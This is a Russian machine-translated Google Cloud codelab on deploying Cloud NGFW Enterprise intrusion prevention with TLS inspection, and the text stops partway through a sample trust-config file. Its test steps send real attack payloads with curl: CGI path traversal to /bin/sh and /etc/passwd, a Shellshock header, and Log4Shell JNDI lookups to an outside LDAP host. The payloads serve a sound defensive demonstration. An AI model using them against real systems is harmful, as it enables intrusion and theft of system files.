Эта страница переведена с помощью Cloud Translation API.

Cloud NGFW Enterprise Codelab [с проверкой TLS]

1. Введение

Межсетевой экран нового поколения в облаке (NGFW)

Cloud Next Generation Firewall — это полностью распределенный межсетевой экран с расширенными возможностями защиты, микросегментацией и повсеместным охватом для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.

Облачный межсетевой экран нового поколения (NGFW) обладает следующими преимуществами:

Распределенная служба межсетевого экрана: Cloud NGFW обеспечивает сохранение состояния и полностью распределенное применение мер безопасности на уровне хоста для каждой рабочей нагрузки, что позволяет реализовать архитектуру безопасности с нулевым доверием.
Упрощенная настройка и развертывание: Cloud NGFW реализует сетевые и иерархические политики межсетевого экрана, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу межсетевого экрана во всей иерархии ресурсов Google Cloud.
Детальный контроль и микросегментация: сочетание политик межсетевого экрана и тегов, управляемых системой управления идентификацией и доступом (IAM), обеспечивает точный контроль как для трафика между центрами сети (север-юг), так и для трафика между центрами сети (восток-запад), вплоть до отдельной виртуальной машины, в сетях и организациях виртуальных частных облаков (VPC).

Облачный межсетевой экран нового поколения (NGFW) доступен в следующих тарифных планах:

Основы межсетевого экрана нового поколения для облачных вычислений
Стандарт межсетевого экрана нового поколения для облачных вычислений
Облачный межсетевой экран нового поколения для предприятий

Облачный NGFW Enterprise

В Cloud NGFW Enterprise добавлена служба предотвращения вторжений (IPS), являющаяся функцией уровня 7, в распределенную инфраструктуру межсетевого экрана Google Cloud Firewall. Поддерживается проверка TLS-трафика, позволяющая проверять зашифрованный TLS-трафик.

Теперь вы можете развернуть надежные проверки межсетевого экрана следующего поколения (NGFW) уровня 7 с детальным контролем, не внося никаких изменений в архитектуру сети или конфигурацию маршрутизации.

Для активации и развертывания управления межсетевым экраном уровня 7 с помощью IPS необходимо выполнить следующие действия:

Создайте набор управляемых Google Cloud зональных межсетевых экранов.
При желании можно создать политику проверки TLS.
При желании можно создать конфигурацию доверия.
Свяжите эти конечные точки с сетями виртуальной частной сети (VPC), где вам необходима служба Cloud NGFW Enterprise.
Внесите простые изменения в существующие политики и правила брандмауэра, чтобы указать профили предотвращения угроз для различных путей трафика.

Политики сетевого брандмауэра

Политика сетевого брандмауэра выступает в качестве контейнера для правил брандмауэра. Правила, определенные в политике сетевого брандмауэра, не применяются нигде, пока политика не будет связана с сетью VPC. Каждая сеть VPC может иметь одну связанную с ней политику сетевого брандмауэра. Политики сетевого брандмауэра поддерживают управляемые IAM теги (или просто теги) в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для обеспечения идентификации рабочей нагрузки.

Совместное использование политики сетевого брандмауэра в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощают настройку и управление брандмауэрами.

С внедрением политик сетевого брандмауэра, политики брандмауэра Google Cloud теперь состоят из следующих компонентов:

Иерархическая политика брандмауэра
Правила брандмауэра VPC
Политика сетевого брандмауэра ( глобальная и региональная )

Иерархические политики межсетевого экрана поддерживаются на уровне организации и узлов папок в иерархии ресурсов, тогда как правила межсетевого экрана VPC и политики сетевого межсетевого экрана применяются на уровне VPC. Существенное различие между правилами межсетевого экрана VPC и политиками сетевого межсетевого экрана заключается в том, что правила межсетевого экрана VPC могут применяться только к одной сети VPC, тогда как политики сетевого межсетевого экрана могут быть привязаны к одной VPC или группе VPC, а также обладают другими преимуществами, такими как пакетные обновления.

Наконец, у нас также есть подразумеваемые правила брандмауэра , которые присутствуют в каждой сети VPC:

Правило исходящего трафика, действие которого — разрешить, пункт назначения — 0.0.0.0/0
Правило входящего трафика, действие которого — запрет, источник — 0.0.0.0/0

По умолчанию последовательность применения мер безопасности показана на следующей диаграмме:

Обратите внимание, что порядок применения правил межсетевого экрана VPC и глобальной политики сетевого межсетевого экрана может быть изменен. Клиенты могут в любое время указать порядок применения с помощью команды gcloud .

Новые теги, интегрированные в правила политики сетевого брандмауэра, представляют собой ресурсы типа «ключ-значение», определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег содержит элементы управления доступом IAM, которые определяют, кто и что может делать с этим тегом. Например, разрешения IAM позволяют указать, какие субъекты могут назначать значения тегам и какие субъекты могут прикреплять теги к ресурсам. Если правило сетевого брандмауэра ссылается на тег, его необходимо применить к ресурсу для обеспечения соблюдения правил.

Теги соответствуют модели наследования ресурсов Google Cloud, что означает, что теги и их значения передаются вниз по иерархии от родительских элементов. В результате теги могут быть созданы в одном месте, а затем использованы другими папками и проектами по всей иерархии ресурсов. Подробную информацию о тегах и ограничениях доступа см. на этой странице .

Не следует путать теги с сетевыми тегами . Последние представляют собой строки, которые можно добавить к экземплярам Compute Engine; они связаны с экземпляром и исчезают при выводе экземпляра из эксплуатации. Правила брандмауэра VPC могут включать сетевые теги, но поскольку они не рассматриваются как облачные ресурсы, на них не распространяется контроль доступа IAM.

Обратите внимание, что в данном документе термины «теги» и «теги, управляемые IAM» используются взаимозаменяемо.

Что вы построите

Для выполнения этого практического задания требуется один проект и умение создавать VPC-сети, а также управлять рядом сетевых ресурсов и ресурсов безопасности. Будет продемонстрировано, как Cloud NGFW Enterprise может обеспечить функциональность IPS (предотвращения вторжений) следующим образом:

Проверка исходящих интернет-трафиков с помощью проверки TLS.
Проверка внутрипроцессных потоков VPC [восток-запад] с помощью TLS-инспекции.

Потоки, подлежащие проверке, будут выбраны с использованием параметров сопоставления Cloud Firewall, включая кортеж из 5 элементов (исходный IP-адрес, целевой IP-адрес, протокол, исходный порт, целевой порт) и теги.

В итоге, набор правил политики сетевого брандмауэра будет выглядеть примерно так, как показано в таблице ниже:

Приоритет	Направление	Цель	Источник	Место назначения	Действие	Тип
100	Вход	Server_Tag	Проверки здоровья	Любой	Позволять	Основные сведения
200	Вход	Client_Tag, Server_Tag	IAP	Любой	Позволять	Основные сведения
800	Вход	Server_Tag	10.0.0.0/24	10.0.0.0/24	Проверка L7	Предприятие
850	Выход	Client_Tag	Любой	10.0.0.0/24	Позволять	Основные сведения
900	Выход	Client_Tag	Любой	Любой	Проверка L7	Предприятие

Что вы узнаете

Как создать политику сетевого брандмауэра.
Как создавать и использовать теги в политике сетевого брандмауэра.
Как настроить и использовать Cloud NGFW Enterprise с проверкой TLS.

Что вам понадобится

Проект Google Cloud.
Знание процесса развертывания экземпляров и настройки сетевых компонентов.
Знание конфигурации межсетевого экрана VPC.

2. Прежде чем начать

Создание/обновление переменных

В этом практическом задании используются переменные `$variables` для упрощения настройки gcloud в Cloud Shell.

В оболочке Cloud Shell выполните следующие команды, заменив информацию в скобках по мере необходимости:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Включите API.

Включите API, если вы этого еще не сделали:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Создание корпоративных конечных точек Cloud NGFW

Поскольку создание корпоративной конечной точки Cloud NGFW занимает около 20 минут, она будет создана первой, и базовая настройка может быть выполнена параллельно с созданием конечной точки.

Создайте профиль безопасности и группу профилей безопасности:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Подтвердите успешное создание ресурсов:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Создайте конечную точку Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Выполните команду ниже, чтобы подтвердить создание конечной точки ( CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

При желании выполните следующую команду, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Процесс создания занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.

5. Базовая настройка

Сеть и подсеть VPC

Сеть и подсеть VPC

Создайте сеть и подсеть VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Облачный NAT

Создайте облачный маршрутизатор и облачный NAT-шлюз:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Экземпляры

Создайте экземпляры клиента и веб-сервера:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Теги на уровне проекта

При необходимости предоставьте пользователю права доступа tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Создайте ключ и значения тега на уровне проекта:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Привяжите теги к экземплярам:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Глобальная политика сетевого брандмауэра

Создайте глобальную политику сетевого брандмауэра:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Создайте необходимые правила Cloud Firewall Essential, чтобы разрешить трафик из диапазонов прокси-серверов , использующих проверку работоспособности и идентификацию пользователей :

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Создайте необходимые правила облачного брандмауэра, разрешающие входящий трафик между подсетями (восток-запад) из определенных диапазонов (эти правила будут обновлены для включения облачного NGFW Enterprise с проверкой TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Свяжите политику облачного брандмауэра с сетью VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Ассоциация конечной точки облачного межсетевого экрана

Если вы еще этого не сделали и/или предпочитаете использовать скриптовый подход, укажите переменные окружения.

Убедитесь, что создание конечной точки облачного брандмауэра успешно завершено. Продолжайте только после того, как состояние отобразится как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

При желании выполните следующую команду, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Свяжите конечную точку Cloud Firewall с сетью VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Процесс установления соединения занимает около 10 минут. Переходите к разделу TLS только после того, как состояние отобразится как ACTIVE (во время создания ожидаемое состояние — CREATING ):

gcloud network-security firewall-endpoint-associations list

Ожидаемый результат по завершении:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

При желании выполните следующую команду, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Настройка ресурсов TLS

Создайте пул центров сертификации. Этот ресурс будет использоваться для хранения корневого сертификата центра сертификации, который мы генерируем для NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Создайте корневой центр сертификации (Root CA). Это сертификат центра сертификации, который будет использоваться для подписи дополнительных сертификатов для запросов через NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Если появится сообщение ниже, ответьте «да» :

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Создайте учетную запись службы. Эта учетная запись службы будет использоваться для запроса сертификатов для NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Настройте права доступа IAM для учетной записи службы:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Создайте YAML-файл с политикой TLS. Этот файл будет содержать информацию о конкретных ресурсах:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Импортируйте политику проверки TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Обновите связь с конечной точкой, чтобы включить TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Получите сертификат центра сертификации и добавьте его в хранилище сертификатов центра сертификации клиента:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Передайте сертификат центра сертификации клиенту:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Подключитесь к виртуальной машине по SSH, переместите сертификат центра сертификации в /usr/local/share/ca-certificates и обновите хранилище сертификатов центра сертификации:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Выйти обратно в Cloudshell.

Процесс подписания сертификата сервера:

В Cloudshell установите криптографическую библиотеку Pyca с помощью команды pip:

pip install --user "cryptography>=2.2.0"

Чтобы разрешить Google Cloud SDK использовать криптографическую библиотеку Pyca, необходимо включить пакеты сайта.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Создайте сертификат сервера:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

В результате в Cloudshell будут сгенерированы файлы cert.pem и key.pem. Затем передайте сертификат и ключ на сервер.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Подключитесь к серверу по SSH, чтобы обновить данные сертификата для Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Переместите сертификат и ключ в указанную папку:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Обновите конфигурацию SSL, чтобы использовать подписанный сертификат:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Перезапустите Apache:

sudo systemctl restart apache2

Проверьте состояние Apache:

sudo systemctl status apache2

Оно должно быть активным (запущенным).

Выйдите из виртуальной машины и продолжите работу в Cloudshell.

8. Проверьте возможность движения в северном и восточно-западном направлениях.

Выполните указанные ниже команды в Cloud Shell и запишите целевые IP-адреса, которые необходимо использовать:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Откройте новую вкладку и установите SSH-соединение с виртуальной машиной клиента через IAP (переменные необходимо будет определить в новой вкладке):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Выполните приведенные ниже команды и запишите целевые IP-адреса, которые будут использоваться. Создайте переменные, заменив значения в скобках на указанные IP-адреса из предыдущего шага, и убедитесь, что они доступны:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Выполните команду curl для проверки доступности частного IP-адреса:

curl https://$target_privateip --max-time 2

Ожидаемые результаты запроса curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Отправьте примеры атак на указанный IP-адрес. Веб-сервер должен отвечать на все запросы, подтверждая отсутствие проверок/предотвращения уровня L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Пример ожидаемых результатов (приватный IP-адрес):

Аналогичным образом, отправляйте запросы на указанный в интернете ресурс:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Пример ожидаемых результатов (адрес в интернете):

Выйдите из терминала виртуальной машины и вернитесь в облачную оболочку.

9. Создайте и обновите правила брандмауэра для проверки TLS.

Ранее мы настроили правило брандмауэра, разрешающее входящий трафик на наш сервер из внутренней подсети. Теперь мы обновим существующие правила для входящего трафика и установим действие на apply_security_profile_group. Это позволит включить проверку L7 на уровне E/W с использованием TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Создайте новое правило для проверки зоны контроля L7 в северном направлении с использованием TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Создайте новое правило, разрешающее выезд на запад и восток для предотвращения двойного досмотра.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

Примечание : Двойная проверка — это когда исходный и целевой ресурсы проверяют одни и те же потоки.

С клиентской виртуальной машины правило 900 перехватывает поток при возникновении ошибки EGRESS на TCP:443.

На виртуальной машине сервера правило 800 перехватывает поток при возникновении события INGRESS на TCP:443.

Чтобы предотвратить двойную проверку, мы создаём правило 850, которое разрешит исходящий трафик по протоколу TCP:443 во внутреннюю подсеть.

Это обеспечит выполнение следующих действий:

Движение в направлении восток/запад контролируется по правилу INGRESS.

Движение транспорта в северном направлении контролируется в соответствии с правилом EGRESS.

Движение транспорта в южном направлении контролируется по правилу INGRESS.

10. Проверка результатов проверки TLS при движении на север.

Вернитесь на вкладку клиентской виртуальной машины или подключитесь снова:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Отправьте примеры атак на интернет-ресурс:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Ответы, соответствующие ожидаемому результату, не получены, что подтверждает блокировку тестовых атак:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Установите переменную на IP-адрес сервера, который вы использовали ранее:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Отправьте на сервер примеры TLS-запросов:

curl https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Почему этот запрос не удался? Дело в том, что межсетевой экран получает от сервера сертификат, которому нет доверия. В этом случае он передаст клиенту самоподписанный сертификат. Необходимо добавить сертификат центра сертификации в конфигурацию доверия, чтобы включить доверие.

Вернуться в облачную оболочку.

11. Настройка параметров доверия

Получите корневой сертификат центра сертификации и присвойте его переменной с правильным форматированием.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Настройте YAML-файл конфигурации доверия. Этот файл содержит сведения о доверительных отношениях, такие как сертификаты центров сертификации:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Приведенные выше команды включили ваш корневой сертификат центра сертификации (Root CA) в хранилище доверенных сертификатов, поскольку сертификат вашего сервера был подписан с использованием этого корневого центра сертификации. Это означает, что межсетевой экран будет доверять любым полученным сертификатам, подписанным вашим корневым центром сертификации, — в дополнение к публичным центрам сертификации, если в вашей политике TLS параметр excludePublicCaSet имеет значение false.

Проверьте содержимое файла конфигурации доверия.

cat trust_config.yaml

Пример выходных данных:

Обратите особое внимание на выравнивание сертификата по отступам. Он должен точно соответствовать этому формату.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
